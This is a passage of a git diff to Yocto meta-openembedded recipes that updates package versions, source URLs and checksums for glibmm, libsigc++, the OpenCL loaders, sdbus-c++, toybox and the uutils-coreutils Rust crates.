-GNOMEBASEBUILDCLASS = "meson"
GNOMEBN = "glibmm"
inherit gnomebase
SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-SRC_URI[archive.sha256sum] = "2b472696cbac79db8e405724118ec945219c5b9b18af63dc8cfb7f1d89b0f1fa"
+SRC_URI[archive.sha256sum] = "5d2e872564996f02a06d8bbac3677e7c394af8b00dd1526aebd47af842a3ef50"
S = "${WORKDIR}/${GNOMEBN}-${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm_2.66.2.bb b/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm_2.66.2.bb
index a6dc8ff20c..c78dd55ca6 100644
--- a/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm_2.66.2.bb
+++ b/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm_2.66.2.bb
@@ -7,7 +7,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=42dfffebc56fec7527aac53b7a89d1d8 \
DEPENDS = "mm-common glib-2.0 libsigc++-2.0 glib-2.0-native"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase
diff --git a/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.10.7.bb b/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.12.1.bb
index 84494b8ac4..b2eb5dd094 100644
--- a/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.10.7.bb
+++ b/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.12.1.bb
@@ -5,8 +5,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
DEPENDS = "mm-common"
-SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/libsigc++/2.10/libsigc++-${PV}.tar.xz"
-SRC_URI[sha256sum] = "d082a2ce72c750f66b1a415abe3e852df2eae1e8af53010f4ac2ea261a478832"
+SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/libsigc++/2.12/libsigc++-${PV}.tar.xz"
+SRC_URI[sha256sum] = "a9dbee323351d109b7aee074a9cb89ca3e7bcf8ad8edef1851f4cf359bd50843"
S = "${WORKDIR}/libsigc++-${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.2.0.bb b/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.6.0.bb
index 9318a30544..0753457c9d 100644
--- a/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.2.0.bb
+++ b/meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.6.0.bb
@@ -5,8 +5,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=959bffe2993816eb32ec4bc1ec1d5875"
DEPENDS = "mm-common"
-SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/libsigc++/3.2/libsigc++-${PV}.tar.xz"
-SRC_URI[sha256sum] = "8cdcb986e3f0a7c5b4474aa3c833d676e62469509f4899110ddf118f04082651"
+SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/libsigc++/3.6/libsigc++-${PV}.tar.xz"
+SRC_URI[sha256sum] = "c3d23b37dfd6e39f2e09f091b77b1541fbfa17c4f0b6bf5c89baef7229080e17"
S = "${WORKDIR}/libsigc++-${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-core/libxml/libxml++-5.0_5.0.1.bb b/meta-openembedded/meta-oe/recipes-core/libxml/libxml++-5.0_5.0.1.bb
index c0f0b2e130..ada0199476 100644
--- a/meta-openembedded/meta-oe/recipes-core/libxml/libxml++-5.0_5.0.1.bb
+++ b/meta-openembedded/meta-oe/recipes-core/libxml/libxml++-5.0_5.0.1.bb
@@ -6,15 +6,14 @@ SECTION = "libs"
LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34 "
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-SRC_URI = "${GNOME_MIRROR}/libxml++/${SHRT_VER}/libxml++-${PV}.tar.xz \
-"
-SRC_URI[sha256sum] = "15c38307a964fa6199f4da6683a599eb7e63cc89198545b36349b87cf9aa0098"
+DEPENDS = "libxml2 glibmm"
+
+GNOMEBN = "libxml++"
+inherit gnomebase ptest
S = "${WORKDIR}/libxml++-${PV}"
-DEPENDS = "libxml2 glibmm"
-inherit meson pkgconfig ptest
+SRC_URI[archive.sha256sum] = "15c38307a964fa6199f4da6683a599eb7e63cc89198545b36349b87cf9aa0098"
FILES:${PN}-doc += "${datadir}/devhelp"
-FILES:${PN}-dev += "${libdir}/libxml++-${SHRT_VER}/include/libxml++config.h"
+FILES:${PN}-dev += "${libdir}/libxml++-${@gnome_verdir("${PV}")}/include/libxml++config.h"
diff --git a/meta-openembedded/meta-oe/recipes-core/mm-common/mm-common_1.0.4.bb b/meta-openembedded/meta-oe/recipes-core/mm-common/mm-common_1.0.4.bb
index 1ffdcfd045..56f7b5af6f 100644
--- a/meta-openembedded/meta-oe/recipes-core/mm-common/mm-common_1.0.4.bb
+++ b/meta-openembedded/meta-oe/recipes-core/mm-common/mm-common_1.0.4.bb
@@ -2,7 +2,6 @@ SUMMARY = "Common GNOME build files for C++ bindings"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase
diff --git a/meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.1.bb b/meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.2.bb
index b1980e3682..93fac969c9 100644
--- a/meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.1.bb
+++ b/meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.2.bb
@@ -7,7 +7,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=1238d5bccbb6bda30654e48dcc0a554b"
SRC_URI = "git://github.com/OCL-dev/ocl-icd.git;protocol=https;branch=master"
-SRCREV = "1165deedb2ae741cd76e60986f7c2cb5023059d9"
+SRCREV = "fdde6677b21329432db8b481e2637cd10f7d3cb2"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_04.17.bb b/meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_2023.04.17.bb
index 6ffaf68ea2..6ffaf68ea2 100644
--- a/meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_04.17.bb
+++ b/meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_2023.04.17.bb
diff --git a/meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_git.bb b/meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_2023.04.17.bb
index fc04cb55f2..925053bd65 100644
--- a/meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_git.bb
+++ b/meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_2023.04.17.bb
@@ -12,8 +12,8 @@ PROVIDES = "virtual/opencl-icd"
RPROVIDES:${PN} = "virtual/opencl-icd"
S = "${WORKDIR}/git"
-PV = "v2022.01.04+git${SRCPV}"
-SRCREV = "169f05d026e65948b30cfe2200595fda92198cf7"
+
+SRCREV = "b1bce7c3c580a8345205cf65fc1a5f55ba9cdb01"
SRC_URI = "git://github.com/KhronosGroup/OpenCL-ICD-Loader.git;branch=main;protocol=https"
EXTRA_OECMAKE:append = " \
@@ -22,11 +22,11 @@ EXTRA_OECMAKE:append = " \
do_install() {
install -d ${D}${bindir}
- install -m 0755 ${B}/test/loader_test/icd_loader_test ${D}${bindir}/
+ install -m 0755 ${B}/icd_loader_test ${D}${bindir}/
chrpath -d ${D}${bindir}/icd_loader_test
install -d ${D}${libdir}
- install -m 0644 ${B}/test/log/libIcdLog.so ${D}${libdir}/
- install -m 0644 ${B}/test/driver_stub/libOpenCLDriverStub.so ${D}${libdir}/
+ install -m 0644 ${B}/libIcdLog.so ${D}${libdir}/
+ install -m 0644 ${B}/libOpenCLDriverStub.so ${D}${libdir}/
chrpath -d ${D}${libdir}/libOpenCLDriverStub.so
install -m 0644 ${B}/libOpenCL.so.1.2 ${D}${libdir}/
cd ${D}${libdir}
diff --git a/meta-openembedded/meta-oe/recipes-core/packagegroups/packagegroup-meta-oe.bb b/meta-openembedded/meta-oe/recipes-core/packagegroups/packagegroup-meta-oe.bb
index 639388dece..0f01356129 100644
--- a/meta-openembedded/meta-oe/recipes-core/packagegroups/packagegroup-meta-oe.bb
+++ b/meta-openembedded/meta-oe/recipes-core/packagegroups/packagegroup-meta-oe.bb
@@ -645,11 +645,11 @@ RDEPENDS:packagegroup-meta-oe-kernel:append:powerpc64 = " libpfm4"
RDEPENDS:packagegroup-meta-oe-kernel:remove = "kernel-selftest"
RDEPENDS:packagegroup-meta-oe-kernel:remove:libc-musl = "bpftool crash intel-speed-select kernel-selftest minicoredumper turbostat"
-RDEPENDS:packagegroup-meta-oe-kernel:remove:mipsarch = "makedumpfile"
+RDEPENDS:packagegroup-meta-oe-kernel:remove:mipsarcho32 = "makedumpfile"
RDEPENDS:packagegroup-meta-oe-kernel:remove:mips64 = "crash"
RDEPENDS:packagegroup-meta-oe-kernel:remove:mips64el = "crash"
-RDEPENDS:packagegroup-meta-oe-kernel:remove:riscv64 = "crash makedumpfile oprofile"
+RDEPENDS:packagegroup-meta-oe-kernel:remove:riscv64 = "crash oprofile"
RDEPENDS:packagegroup-meta-oe-kernel:remove:riscv32 = "crash makedumpfile oprofile"
RDEPENDS:packagegroup-meta-oe-multimedia ="\
@@ -891,7 +891,6 @@ RDEPENDS:packagegroup-meta-oe-support ="\
pcsc-lite \
pcsc-tools \
sharutils \
- ${@bb.utils.contains("DISTRO_FEATURES", "x11", "toscoterm", "", d)} \
sg3-utils \
${@bb.utils.contains("DISTRO_FEATURES", "x11", "uim", "", d)} \
uchardet \
diff --git a/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.3.0/run-ptest b/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.4.0/run-ptest
index f6ade0c7e4..f6ade0c7e4 100755
--- a/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.3.0/run-ptest
+++ b/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.4.0/run-ptest
diff --git a/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.3.0.bb b/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.4.0.bb
index 2ef4d5a4b7..869bfa951f 100644
--- a/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.3.0.bb
+++ b/meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.4.0.bb
@@ -16,7 +16,7 @@ PACKAGECONFIG[with-tests] = "-DBUILD_TESTS=ON -DTESTS_INSTALL_PATH=${libdir}/${B
DEPENDS += "expat"
-SRCREV = "0eda85574546d19d9f06d6d5418bc192b3846f96"
+SRCREV = "b482cd6d0890e3f9ae141b4aeb07d3724e48b3db"
SRC_URI = "git://github.com/Kistler-Group/sdbus-cpp.git;protocol=https;branch=master"
SRC_URI += "file://run-ptest"
@@ -39,7 +39,12 @@ do_install:append() {
fi
}
-PTEST_PATH = "${libdir}/${BPN}/tests"
+PTEST_PATH = "${libdir}/${BPN}/ptest"
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}
+ cp -r ${B}/tests/sdbus-c++-unit-tests ${D}${PTEST_PATH}
+}
+
FILES:${PN}-ptest =+ "${sysconfdir}/dbus-1/system.d/"
FILES:${PN}-dev += "${bindir}/sdbus-c++-xml2cpp"
diff --git a/meta-openembedded/meta-oe/recipes-core/toybox/toybox/0001-portability-Fix-timer_settime_wrap-for-32bit-systems.patch b/meta-openembedded/meta-oe/recipes-core/toybox/toybox/0001-portability-Fix-timer_settime_wrap-for-32bit-systems.patch
deleted file mode 100644
index 8976b3748b..0000000000
--- a/meta-openembedded/meta-oe/recipes-core/toybox/toybox/0001-portability-Fix-timer_settime_wrap-for-32bit-systems.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7284c7ae0df9aa5a9c8aa0a81a018e17289fe2c4 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 8 Sep 2022 07:22:26 -0700
-Subject: [PATCH] portability: Fix timer_settime_wrap for 32bit systems with
- 64bit time_t
-
-glibc does not define SYS_timer_settime if the 32bit syscall is not
-available, new architectures like riscv32 has defaulted to 64bit time_t
-from get go and avoided wiring 32bit syscall, therefore alias it to
-64bit version here
-
-Upstream-Status: Submitted [https://github.com/landley/toybox/pull/373]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/portability.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/lib/portability.c b/lib/portability.c
-index d955d081..4baa9367 100644
---- a/lib/portability.c
-+++ b/lib/portability.c
-@@ -711,6 +711,12 @@ int timer_create_wrap(clockid_t c, struct sigevent *se, timer_t *t)
- return 0;
- }
-
-+#if !defined(SYS_timer_settime) && defined(SYS_timer_settime64)
-+// glibc does not define defines SYS_timer_settime on 32-bit systems
-+// with 64-bit time_t defaults e.g. riscv32
-+#define SYS_timer_settime SYS_timer_settime64
-+#endif
-+
- int timer_settime_wrap(timer_t t, int flags, struct itimerspec *val,
- struct itimerspec *old)
- {
---
-2.37.3
-
diff --git a/meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.8.bb b/meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.10.bb
index 6836b14682..d747ebf36a 100644
--- a/meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.8.bb
+++ b/meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.10.bb
@@ -7,10 +7,8 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=78659a599b9325da368f2f1eb88f19c7"
inherit cml1 update-alternatives
-SRC_URI = "http://www.landley.net/toybox/downloads/${BPN}-${PV}.tar.gz \
- file://0001-portability-Fix-timer_settime_wrap-for-32bit-systems.patch \
- "
-SRC_URI[sha256sum] = "dafd41978d40f02a61cf1be99a2b4a25812bbfb9c3157e679ee7611202d6ac58"
+SRC_URI = "http://www.landley.net/toybox/downloads/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "d3afee05ca90bf425ced73f527e418fecd626c5340b5f58711a14531f8d7d108"
SECTION = "base"
diff --git a/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils-crates.inc b/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils-crates.inc
index 90a5017af9..cd8a6efbfe 100644
--- a/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils-crates.inc
+++ b/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils-crates.inc
@@ -6,42 +6,42 @@ SRC_URI += " \
crate://crates.io/aho-corasick/1.0.4 \
crate://crates.io/android-tzdata/0.1.1 \
crate://crates.io/android_system_properties/0.1.5 \
- crate://crates.io/anstream/0.3.2 \
+ crate://crates.io/anstream/0.5.0 \
crate://crates.io/anstyle/1.0.0 \
crate://crates.io/anstyle-parse/0.2.0 \
crate://crates.io/anstyle-query/1.0.0 \
- crate://crates.io/anstyle-wincon/1.0.1 \
+ crate://crates.io/anstyle-wincon/2.1.0 \
crate://crates.io/arrayref/0.3.6 \
- crate://crates.io/arrayvec/0.7.2 \
+ crate://crates.io/arrayvec/0.7.4 \
crate://crates.io/autocfg/1.1.0 \
crate://crates.io/bigdecimal/0.4.0 \
crate://crates.io/binary-heap-plus/0.5.0 \
crate://crates.io/bindgen/0.63.0 \
crate://crates.io/bitflags/1.3.2 \
- crate://crates.io/bitflags/2.3.3 \
- crate://crates.io/blake2b_simd/1.0.1 \
- crate://crates.io/blake3/1.4.0 \
+ crate://crates.io/bitflags/2.4.0 \
+ crate://crates.io/blake2b_simd/1.0.2 \
+ crate://crates.io/blake3/1.5.0 \
crate://crates.io/block-buffer/0.10.3 \
- crate://crates.io/bstr/1.6.0 \
+ crate://crates.io/bstr/1.8.0 \
crate://crates.io/bumpalo/3.11.1 \
- crate://crates.io/bytecount/0.6.3 \
- crate://crates.io/byteorder/1.4.3 \
+ crate://crates.io/bytecount/0.6.7 \
+ crate://crates.io/byteorder/1.5.0 \
crate://crates.io/cc/1.0.79 \
crate://crates.io/cexpr/0.6.0 \
crate://crates.io/cfg-if/1.0.0 \
- crate://crates.io/chrono/0.4.28 \
+ crate://crates.io/chrono/0.4.31 \
crate://crates.io/clang-sys/1.4.0 \
- crate://crates.io/clap/4.3.21 \
- crate://crates.io/clap_builder/4.3.21 \
- crate://crates.io/clap_complete/4.3.0 \
+ crate://crates.io/clap/4.4.2 \
+ crate://crates.io/clap_builder/4.4.2 \
+ crate://crates.io/clap_complete/4.4.0 \
crate://crates.io/clap_lex/0.5.0 \
crate://crates.io/clap_mangen/0.2.9 \
crate://crates.io/colorchoice/1.0.0 \
crate://crates.io/compare/0.1.0 \
crate://crates.io/console/0.15.7 \
- crate://crates.io/const-random/0.1.15 \
- crate://crates.io/const-random-macro/0.1.15 \
- crate://crates.io/constant_time_eq/0.2.4 \
+ crate://crates.io/const-random/0.1.16 \
+ crate://crates.io/const-random-macro/0.1.16 \
+ crate://crates.io/constant_time_eq/0.3.0 \
crate://crates.io/conv/0.3.3 \
crate://crates.io/core-foundation-sys/0.8.3 \
crate://crates.io/coz/0.1.3 \
@@ -59,7 +59,7 @@ SRC_URI += " \
crate://crates.io/crossterm_winapi/0.9.1 \
crate://crates.io/crunchy/0.2.2 \
crate://crates.io/crypto-common/0.1.6 \
- crate://crates.io/ctrlc/3.4.0 \
+ crate://crates.io/ctrlc/3.4.1 \
crate://crates.io/custom_derive/0.1.7 \
crate://crates.io/data-encoding/2.4.0 \
crate://crates.io/data-encoding-macro/0.1.13 \
@@ -67,14 +67,13 @@ SRC_URI += " \
crate://crates.io/diff/0.1.13 \
crate://crates.io/digest/0.10.7 \
crate://crates.io/dlv-list/0.5.0 \
- crate://crates.io/dns-lookup/2.0.2 \
+ crate://crates.io/dns-lookup/2.0.4 \
crate://crates.io/dunce/1.0.4 \
crate://crates.io/either/1.8.0 \
crate://crates.io/encode_unicode/0.3.6 \
crate://crates.io/env_logger/0.8.4 \
- crate://crates.io/errno/0.3.1 \
- crate://crates.io/errno-dragonfly/0.1.2 \
- crate://crates.io/exacl/0.10.0 \
+ crate://crates.io/errno/0.3.5 \
+ crate://crates.io/exacl/0.11.0 \
crate://crates.io/fastrand/2.0.0 \
crate://crates.io/file_diff/1.0.0 \
crate://crates.io/filetime/0.2.22 \
@@ -99,7 +98,7 @@ SRC_URI += " \
crate://crates.io/generic-array/0.14.6 \
crate://crates.io/getrandom/0.2.9 \
crate://crates.io/glob/0.3.1 \
- crate://crates.io/half/2.2.1 \
+ crate://crates.io/half/2.3.1 \
crate://crates.io/hashbrown/0.13.2 \
crate://crates.io/hermit-abi/0.3.2 \
crate://crates.io/hex/0.4.3 \
@@ -111,7 +110,6 @@ SRC_URI += " \
crate://crates.io/inotify/0.9.6 \
crate://crates.io/inotify-sys/0.1.5 \
crate://crates.io/io-lifetimes/1.0.11 \
- crate://crates.io/is-terminal/0.4.9 \
crate://crates.io/itertools/0.11.0 \
crate://crates.io/itoa/1.0.4 \
crate://crates.io/js-sys/0.3.64 \
@@ -120,31 +118,30 @@ SRC_URI += " \
crate://crates.io/kqueue-sys/1.0.3 \
crate://crates.io/lazy_static/1.4.0 \
crate://crates.io/lazycell/1.3.0 \
- crate://crates.io/libc/0.2.147 \
+ crate://crates.io/libc/0.2.150 \
crate://crates.io/libloading/0.7.4 \
crate://crates.io/libm/0.2.7 \
crate://crates.io/linux-raw-sys/0.1.4 \
crate://crates.io/linux-raw-sys/0.3.8 \
- crate://crates.io/linux-raw-sys/0.4.5 \
+ crate://crates.io/linux-raw-sys/0.4.10 \
crate://crates.io/lock_api/0.4.9 \
crate://crates.io/log/0.4.17 \
crate://crates.io/lscolors/0.15.0 \
crate://crates.io/match_cfg/0.1.0 \
- crate://crates.io/md-5/0.10.5 \
+ crate://crates.io/md-5/0.10.6 \
crate://crates.io/memchr/2.6.2 \
- crate://crates.io/memmap2/0.7.0 \
+ crate://crates.io/memmap2/0.9.0 \
crate://crates.io/memoffset/0.8.0 \
crate://crates.io/minimal-lexical/0.2.1 \
crate://crates.io/miniz_oxide/0.5.4 \
crate://crates.io/mio/0.8.6 \
- crate://crates.io/nix/0.26.2 \
+ crate://crates.io/nix/0.27.1 \
crate://crates.io/nom/7.1.3 \
crate://crates.io/notify/6.0.1 \
crate://crates.io/nu-ansi-term/0.49.0 \
crate://crates.io/num-bigint/0.4.4 \
crate://crates.io/num-integer/0.1.45 \
- crate://crates.io/num-traits/0.2.16 \
- crate://crates.io/num_cpus/1.16.0 \
+ crate://crates.io/num-traits/0.2.17 \
crate://crates.io/num_threads/0.1.6 \
crate://crates.io/number_prefix/0.4.0 \
crate://crates.io/once_cell/1.18.0 \
@@ -154,7 +151,7 @@ SRC_URI += " \
crate://crates.io/os_display/0.1.3 \
crate://crates.io/parking_lot/0.12.1 \
crate://crates.io/parking_lot_core/0.9.8 \
- crate://crates.io/parse_datetime/0.4.0 \
+ crate://crates.io/parse_datetime/0.5.0 \
crate://crates.io/peeking_take_while/0.1.2 \
crate://crates.io/phf/0.11.2 \
crate://crates.io/phf_codegen/0.11.2 \
@@ -169,7 +166,8 @@ SRC_URI += " \
crate://crates.io/pretty_assertions/1.4.0 \
crate://crates.io/proc-macro-hack/0.5.20+deprecated \
crate://crates.io/proc-macro2/1.0.63 \
- crate://crates.io/procfs/0.15.1 \
+ crate://crates.io/procfs/0.16.0 \
+ crate://crates.io/procfs-core/0.16.0 \
crate://crates.io/quick-error/2.0.1 \
crate://crates.io/quickcheck/1.0.3 \
crate://crates.io/quote/1.0.29 \
@@ -177,13 +175,14 @@ SRC_URI += " \
crate://crates.io/rand_chacha/0.3.1 \
crate://crates.io/rand_core/0.6.4 \
crate://crates.io/rand_pcg/0.3.1 \
- crate://crates.io/rayon/1.7.0 \
- crate://crates.io/rayon-core/1.11.0 \
+ crate://crates.io/rayon/1.8.0 \
+ crate://crates.io/rayon-core/1.12.0 \
crate://crates.io/redox_syscall/0.3.5 \
+ crate://crates.io/redox_syscall/0.4.0 \
crate://crates.io/reference-counted-singleton/0.1.2 \
- crate://crates.io/regex/1.9.5 \
- crate://crates.io/regex-automata/0.3.8 \
- crate://crates.io/regex-syntax/0.7.5 \
+ crate://crates.io/regex/1.10.2 \
+ crate://crates.io/regex-automata/0.4.3 \
+ crate://crates.io/regex-syntax/0.8.2 \
crate://crates.io/relative-path/1.8.0 \
crate://crates.io/rlimit/0.10.1 \
crate://crates.io/roff/0.2.1 \
@@ -193,17 +192,17 @@ SRC_URI += " \
crate://crates.io/rustc-hash/1.1.0 \
crate://crates.io/rustc_version/0.4.0 \
crate://crates.io/rustix/0.36.15 \
- crate://crates.io/rustix/0.37.23 \
- crate://crates.io/rustix/0.38.8 \
+ crate://crates.io/rustix/0.37.26 \
+ crate://crates.io/rustix/0.38.21 \
crate://crates.io/same-file/1.0.6 \
crate://crates.io/scopeguard/1.1.0 \
- crate://crates.io/self_cell/1.0.1 \
+ crate://crates.io/self_cell/1.0.2 \
crate://crates.io/selinux/0.4.0 \
crate://crates.io/selinux-sys/0.6.2 \
crate://crates.io/semver/1.0.14 \
crate://crates.io/serde/1.0.147 \
- crate://crates.io/sha1/0.10.5 \
- crate://crates.io/sha2/0.10.7 \
+ crate://crates.io/sha1/0.10.6 \
+ crate://crates.io/sha2/0.10.8 \
crate://crates.io/sha3/0.10.8 \
crate://crates.io/shlex/1.1.0 \
crate://crates.io/signal-hook/0.3.17 \
@@ -215,14 +214,12 @@ SRC_URI += " \
crate://crates.io/smallvec/1.11.0 \
crate://crates.io/smawk/0.3.1 \
crate://crates.io/socket2/0.5.3 \
- crate://crates.io/static_assertions/1.1.0 \
crate://crates.io/strsim/0.10.0 \
- crate://crates.io/subtle/2.4.1 \
crate://crates.io/syn/1.0.109 \
crate://crates.io/syn/2.0.23 \
- crate://crates.io/tempfile/3.8.0 \
- crate://crates.io/term_grid/0.1.7 \
+ crate://crates.io/tempfile/3.8.1 \
crate://crates.io/terminal_size/0.2.6 \
+ crate://crates.io/terminal_size/0.3.0 \
crate://crates.io/textwrap/0.16.0 \
crate://crates.io/thiserror/1.0.37 \
crate://crates.io/thiserror-impl/1.0.37 \
@@ -234,13 +231,14 @@ SRC_URI += " \
crate://crates.io/unicode-ident/1.0.5 \
crate://crates.io/unicode-linebreak/0.1.5 \
crate://crates.io/unicode-segmentation/1.10.1 \
- crate://crates.io/unicode-width/0.1.10 \
+ crate://crates.io/unicode-width/0.1.11 \
crate://crates.io/unicode-xid/0.2.4 \
crate://crates.io/unindent/0.2.1 \
crate://crates.io/utf8parse/0.2.1 \
crate://crates.io/uuid/1.2.2 \
+ crate://crates.io/uutils_term_grid/0.3.0 \
crate://crates.io/version_check/0.9.4 \
- crate://crates.io/walkdir/2.3.2 \
+ crate://crates.io/walkdir/2.4.0 \
crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1 \
crate://crates.io/wasm-bindgen/0.2.87 \
crate://crates.io/wasm-bindgen-backend/0.2.87 \
@@ -248,10 +246,10 @@ SRC_URI += " \
crate://crates.io/wasm-bindgen-macro-support/0.2.87 \
crate://crates.io/wasm-bindgen-shared/0.2.87 \
crate://crates.io/which/4.3.0 \
- crate://crates.io/wild/2.1.0 \
+ crate://crates.io/wild/2.2.0 \
crate://crates.io/winapi/0.3.9 \
crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
- crate://crates.io/winapi-util/0.1.5 \
+ crate://crates.io/winapi-util/0.1.6 \
crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
crate://crates.io/windows-sys/0.45.0 \
crate://crates.io/windows-sys/0.48.0 \
@@ -281,42 +279,42 @@ SRC_URI[adler-1.0.2.sha256sum] = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41
SRC_URI[aho-corasick-1.0.4.sha256sum] = "6748e8def348ed4d14996fa801f4122cd763fff530258cdc03f64b25f89d3a5a"
SRC_URI[android-tzdata-0.1.1.sha256sum] = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
SRC_URI[android_system_properties-0.1.5.sha256sum] = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-SRC_URI[anstream-0.3.2.sha256sum] = "0ca84f3628370c59db74ee214b3263d58f9aadd9b4fe7e711fd87dc452b7f163"
+SRC_URI[anstream-0.5.0.sha256sum] = "b1f58811cfac344940f1a400b6e6231ce35171f614f26439e80f8c1465c5cc0c"
SRC_URI[anstyle-1.0.0.sha256sum] = "41ed9a86bf92ae6580e0a31281f65a1b1d867c0cc68d5346e2ae128dddfa6a7d"
SRC_URI[anstyle-parse-0.2.0.sha256sum] = "e765fd216e48e067936442276d1d57399e37bce53c264d6fefbe298080cb57ee"
SRC_URI[anstyle-query-1.0.0.sha256sum] = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b"
-SRC_URI[anstyle-wincon-1.0.1.sha256sum] = "180abfa45703aebe0093f79badacc01b8fd4ea2e35118747e5811127f926e188"
+SRC_URI[anstyle-wincon-2.1.0.sha256sum] = "58f54d10c6dfa51283a066ceab3ec1ab78d13fae00aa49243a45e4571fb79dfd"
SRC_URI[arrayref-0.3.6.sha256sum] = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544"
-SRC_URI[arrayvec-0.7.2.sha256sum] = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6"
+SRC_URI[arrayvec-0.7.4.sha256sum] = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711"
SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
SRC_URI[bigdecimal-0.4.0.sha256sum] = "5274a6b6e0ee020148397245b973e30163b7bffbc6d473613f850cb99888581e"
SRC_URI[binary-heap-plus-0.5.0.sha256sum] = "e4551d8382e911ecc0d0f0ffb602777988669be09447d536ff4388d1def11296"
SRC_URI[bindgen-0.63.0.sha256sum] = "36d860121800b2a9a94f9b5604b332d5cffb234ce17609ea479d723dbc9d3885"
SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-SRC_URI[bitflags-2.3.3.sha256sum] = "630be753d4e58660abd17930c71b647fe46c27ea6b63cc59e1e3851406972e42"
-SRC_URI[blake2b_simd-1.0.1.sha256sum] = "3c2f0dc9a68c6317d884f97cc36cf5a3d20ba14ce404227df55e1af708ab04bc"
-SRC_URI[blake3-1.4.0.sha256sum] = "729b71f35bd3fa1a4c86b85d32c8b9069ea7fe14f7a53cfabb65f62d4265b888"
+SRC_URI[bitflags-2.4.0.sha256sum] = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635"
+SRC_URI[blake2b_simd-1.0.2.sha256sum] = "23285ad32269793932e830392f2fe2f83e26488fd3ec778883a93c8323735780"
